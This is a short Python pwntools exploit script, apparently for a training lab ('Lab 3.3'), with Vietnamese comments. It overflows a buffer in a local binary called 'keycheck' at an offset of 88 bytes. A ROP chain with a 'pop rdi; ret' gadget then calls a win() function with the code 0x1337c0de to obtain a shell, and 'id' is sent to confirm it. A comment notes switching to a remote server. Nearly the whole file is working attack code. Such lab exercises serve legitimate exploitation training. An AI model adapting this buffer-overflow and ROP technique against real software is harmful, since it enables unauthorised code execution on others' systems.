#!/usr/bin/env python3
# Lab 3.3: keycheck, win(code) chi cho shell khi code == 0x1337c0de.
# Offset do bang cyclic = 88 (buf[72] + padding + saved RBP). Gadget pop rdi ; ret
# nhet san (symbol g). Them 1 ret de can stack 16 byte truoc system.
from pwn import *

context.binary = elf = ELF('./keycheck', checksec=False)
context.log_level = 'info'

rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret     = rop.find_gadget(['ret'])[0]

offset = 88                                   # do bang cyclic (xem transcript.txt)
io = process('./keycheck')     # doi remote khi danh server
io.recvuntil(b'code?\n')
io.send(flat(
    b'A' * offset,
    pop_rdi, 0x1337c0de,
    ret,                       # can stack 16 byte
    elf.sym['win'],
))
# cho banner win() roi moi gui lenh (tranh race send som)
io.sendlineafter(b'Shell:\n', b'echo ===SHELL_OK===; id; exit')
print(io.recvall(timeout=3).decode(errors='replace'))